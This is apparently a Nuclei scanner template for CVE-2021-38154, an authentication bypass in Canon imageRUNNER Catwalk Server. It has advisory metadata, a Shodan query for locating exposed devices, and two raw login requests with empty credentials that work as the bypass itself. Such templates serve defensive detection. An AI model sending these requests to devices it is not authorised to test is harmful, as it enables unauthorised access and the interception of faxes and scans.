id: CVE-2021-38154

info:
  name: Canon Devices - Authentication Bypass in Catwalk Server
  author: daffainfo
  severity: high
  description: |
    Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
  impact: |
    Unauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications.
  remediation: |
    Configure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability.
  reference:
    - https://protocolpolice.nl/CVE-2021-38154_Protocol_Police_Catwalk_Alert
    - https://www.usa.canon.com/internet/portal/us/home/support/product-advisories
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38154
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-38154
    cwe-id: CWE-732
    epss-score: 0.04
    epss-percentile: 0.89198
    cpe: cpe:2.3:h:canon:-:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: canon
    shodan-query: title:"imageRUNNER"
  tags: cve,cve2021,canon,auth-bypass,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /tryLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        loginM=&0000=0011&0002=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 303'
          - 'contains(location, "/portal_top.html")'
          - 'contains(set_cookie, "fusion-http-session-id=")'
        condition: and

  - raw:
      - |
        POST /checkLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        i0017=2&i0019=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(location, "/portal_top.html")'
          - 'contains(set_cookie, "sessid=")'
        condition: and
# digest: 4b0a00483046022100a50b59774c46570417b8515b3e20a39e6789f65e944886a4967f73839c77dd44022100a31c5d0315cb0aff043b686eece8642a7ea6345e6f9ad61f86baf94253cb1b42:922c64590222798bb761d5b6d8e72950